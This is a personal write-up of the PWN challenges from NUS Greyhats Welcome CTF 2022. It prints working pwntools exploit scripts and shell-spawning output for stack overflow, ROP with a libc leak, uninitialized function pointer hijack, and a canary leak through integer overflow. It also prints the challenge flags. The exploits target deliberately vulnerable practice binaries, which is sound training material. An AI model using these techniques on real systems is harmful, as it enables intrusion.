Introduction
From 20th to 21th Weidu and I attended NUS Greyhats Welcome CTF 2022 and finally got the 16th place. Regardless of the fact that we failed to be in top 10, I want to write down this writeup to summarize the game. Anyway, I learn some ideas and skills from it. The challenges and solutions have been released in the official GitHub repository.
The flag format is greyhats{...}
. You need to use Docker to deploy some of PWN and Web challenges and this post will not detail how to setup the environment. For PWN, you could also run challenge binaries as remote services utilizing nc
or ncat
, e.g.:
ncat -klvnp 5555 -c ./pwn-challenge.bin
I exploited 3 of 5 PWN challenges during the competition. Actually, the last 2 unsolved challenges are not so hard in terms of skills or technique, which are clever in design.
P.S. Because of the breakdown of my virtual machine, my own ExPs for PWN were lost, and I will refer to the official solutions.
timesvc (Overwrite Key Data Structure)
This challenge is very easy that we only need to overwrite the command
variable to something like /bin/sh
and wait for the shell. For me, I learnt the usage of flat()
function within Pwntools from the official solution, which is elegant and convenient:
from pwn import *
if 'REMOTE' in args:
p = remote("localhost", 8051)
else:
p = process("dist/timesvc.bin")
p.sendlineafter("name?", flat({ 80: "/bin/sh" }))
p.interactive()
With flat()
, you could just say that you want "/bin/sh"
at 80
offset, without caring about other data and flat()
will help to deal with the rest.
The whole exploit process:
[+] Starting local process 'dist/timesvc.bin': pid 24317
[*] Switching to interactive mode
Hi, aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaa/bin/sh, the current time is: $ cat flag.txt
greyhats{t1m3_f0r_sh3l1_weee3ee_as812ks}$
Hence, the flag is greyhats{t1m3_f0r_sh3l1_weee3ee_as812ks}
.
echo (Overwrite Return Address)
This challenge is very easy as well. The only thing we need to do is to overwrite the return address with the address of win
function.
Still, the official solution is elegant so I post it here:
from pwn import *
if 'REMOTE' in args:
p = remote("localhost", 8050)
else:
p = process("dist/echo.bin")
e = ELF("dist/echo.bin")
p.sendlineafter("> ", flat({ 80 + 8: p64(e.symbols['win'] + 5) }))
p.sendlineafter("> ", "q")
p.interactive()
The whole exploit process:
[+] Starting local process 'dist/echo.bin': pid 24535
[*] '/home/rambo/experiments/nus-ctf/welcome-ctf-2022-public/pwn/echo/dist/echo.bin'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] Switching to interactive mode
$ cat flag.txt
greyhats{ech0_aft3r_m3_aH_jkplsno_455a214}$
Hence, the flag is greyhats{ech0_aft3r_m3_aH_jkplsno_455a214}
.
impossible (ROP + Libc Leak)
This challenge is similar to the kidrop challenge in NUS Greyhats Welcome CTF 2021. Therefore, I just pick my writeup for kidrop here:
Anyway, NX is still enabled so it’s hard to execute shellcode on the stack. There are no
system
function andsh
string in thekidrop
binary, so we need to return to libc. Considering ASLR, we need firstly leak some funciton’s address and calculate addresses ofsystem
function and shell string. In this challenge, we hijack the control flow with ROP chain to utilizeputs
to print the address of the real address ofputs
within GOT, and then calculate other addresses in the given libc. Then, we need to return to themain
function again to use another ROP chain to spawn shell.
The official solution is elegant so I post it here:
from pwn import *
if 'REMOTE' in args:
p = remote("localhost", 8075)
else:
p = process("./impossible.bin")
context.arch = 'amd64'
e = ELF("./impossible.bin")
libc = ELF("./libc-2.31.so")
r1 = ROP(e)
r1.read_uint(e.got['puts'])
rop1 = r1.chain()
p.sendlineafter("a >> \n", flat({ 0x28: rop1 }));
puts = u64(p.recvn(6).ljust(8, b"\0"))
libc.address = puts - libc.symbols['puts']
success(f"{ hex(libc.address) = }")
r2 = ROP(libc)
# r2.raw(r2.find_gadget(['ret']))
r2.system(next(libc.search(b"/bin/sh")))
rop2 = r2.chain()
p.sendline(flat({ 0x28: rop2 }))
p.interactive()
r1.read_uint
and r2.system(next(libc.search(b"/bin/sh")))
are convenient and clear, so I will try to utilize them next time.
The whole exploit process:
[+] Starting local process './impossible.bin': pid 25762
[*] '/home/rambo/experiments/nus-ctf/welcome-ctf-2022-public/pwn/impossible/dist/impossible.bin'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
[*] '/home/rambo/experiments/nus-ctf/welcome-ctf-2022-public/pwn/impossible/dist/libc-2.31.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Loading gadgets for '/home/rambo/experiments/nus-ctf/welcome-ctf-2022-public/pwn/impossible/dist/impossible.bin'
[*] Loading gadgets for '/home/rambo/experiments/nus-ctf/welcome-ctf-2022-public/pwn/impossible/dist/libc-2.31.so'
[*] Switching to interactive mode
$ cat ../flag.txt
greyhats{4dDl3d_189df1}
Hence, the flag is greyhats{4dDl3d_189df1}
.
unreachable (Hijack Uninitialized Variables, unsolved)
This challenge is interesting. I mean, I did not come across such a scenario before, but it is really practical. When I was an undergraduate, I just learnt that the value of an uninitialized variable would be unexpected, which could cause the program runs into trouble, while having few things to do with security. This challenge shows me that uninitialization is sometimes a big security issue :)
From checksec
we know that both canary and NX are enabled. What’s worse, there is no obvious overflow. There is an unreachable
function which will execute system('/bin/sh')
, so if we could somehow hijack the control flow to this function, we will win. We notice that there is an uninitialized function pointer opfn op
within the calc
function. What’s more, if our input is not in the range from 1 to 7, this pointer would not be initialized any more.
Is it possible to initialize this pointer to the value we want, let’s say, the address of unreachable
function, in some way? Certainly! The stack does not do memset
itself, so if we put the address of unreachable
onto the stack before the call of calc
, it would not be modified and would exactly become the value of the function pointer to be invoked later!
In this way, the exploitation is very simple. The final exploit script is:
from pwn import *
if 'REMOTE' in args:
p = remote("localhost", 8092)
else:
p = process("dist/unreachable.bin")
p.sendlineafter("opt", flat({0: "1\n", 0x10: p64(0x40125b)}))
p.sendlineafter("calc", "8")
p.sendlineafter("a", "0")
p.sendlineafter("b", "0")
p.interactive()
The whole exploit process:
[+] Starting local process 'dist/unreachable.bin': pid 26184
[*] Switching to interactive mode
>>
$ cat flag.txt
greyhats{uN1nit_p0w4_as12kla}
Hence, the flag is greyhats{uN1nit_p0w4_as12kla}
.
checksum (Canary Leak + ELF Leak, unsolved)
This challenge may be the most difficult one in the competition. Actually, I achieved downward reading and upward writing capabilities. The former one could used to leak the ELF base address and the latter one could be used to overwrite. Therefore, the goal is clear: somehow manage to overwrite the return address with the address of win
function. However, upward writing will fail because of the canary protection. It would be nice if we can leak the value of canary with the reading capability, but it seems upward reading is limited to index 15.
The key is integer overflow, sophisticated to some extent. Well, we notice that the limitation judgement is signed comparison:
.text:00000000000013A1 mov rax, [rbp-0A0h]
.text:00000000000013A8 cmp rax, 0Fh
And the indexing process is:
.text:00000000000013B8 mov rax, [rbp-0A0h]
.text:00000000000013BF mov rax, [rbp+rax*8-90h]
If we provide a negative number that could bypass the limitation, and *8
multiplication operation makes it overflow, we could actually read upwards and leak the canary!
In addition, the official solution does not utilize the win
function, but ret2libc method. The final exploit script is:
from pwn import *
if 'REMOTE' in args:
p = remote("localhost", 872)
else:
p = process("./checksum.bin")
context.arch = 'amd64'
bin = ELF("./checksum.bin")
libc = ELF("./libc-2.31.so")
def read_at(idx):
p.sendlineafter("opt", "1")
p.sendlineafter("idx", str(idx))
p.recvuntil("<< ")
n = int(p.recvline()[:-1])
if n < 0: # get the positive number
n = (1 << 64) + n
return n
# 2-complements a number
def fmt_num(n):
import struct
return struct.unpack("q", p64(n))[0]
# history[12] has a leak to an address near libc
libc.address = read_at(12) - 0x32e8 - 2023424
# history[17] has the stack canary
# However, we have a check: history_idx < 0x10.
# But the check is a signed comparison, so we can abuse
# that to give a negative number that will integer overflow
# when doing history[read_idx].
# After all, history[read_idx] = *(history + sizeof(history[0]) * read_idx)
canary = read_at(17 - (1 << 63)) # 17 with the sign bit = 1
# ROP, ret2libc
r = ROP(libc)
r.raw(r.find_gadget(['ret'])) # for alignment (movaps in system)
r.system(next(libc.search(b"/bin/sh")))
chain = r.chain()
# history is at rbp-0x90
# canary is at rbp-0x8
for i in range(17):
p.sendlineafter("opt", "2")
p.sendlineafter("x", str(0))
p.sendlineafter("opt", "2")
p.sendlineafter("x", str(fmt_num(canary)))
p.sendlineafter("opt", "2")
p.sendlineafter("x", str(0)) # saved rbp
# return address
# here we just copy-paste our rop chain in
for b in range(len(chain)//8):
p.sendlineafter("opt", "2")
p.sendlineafter("x", str(fmt_num(u64(chain[8*b:][:8]))))
# force the return from the loop
p.sendlineafter("opt", "2")
p.sendlineafter("x", str(1337))
p.interactive()
The whole exploit process:
[+] Starting local process './checksum.bin': pid 26648
[*] '/home/rambo/experiments/nus-ctf/welcome-ctf-2022-public/pwn/checksum/dist/checksum.bin'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/home/rambo/experiments/nus-ctf/welcome-ctf-2022-public/pwn/checksum/dist/libc-2.31.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Loaded 196 cached gadgets for './libc-2.31.so'
[*] Switching to interactive mode
>> wow! you win!
$ cat flag.txt
greyhats{M4tH_H4rD_pwN_b4ng_B4nG_32afe1}
Hence, the flag is greyhats{M4tH_H4rD_pwN_b4ng_B4nG_32afe1}
.
Summary
This competition is so awesome that I learnt a lot and got lots of fun during this game. Let’s keep on exploiting, exploring and hacking :)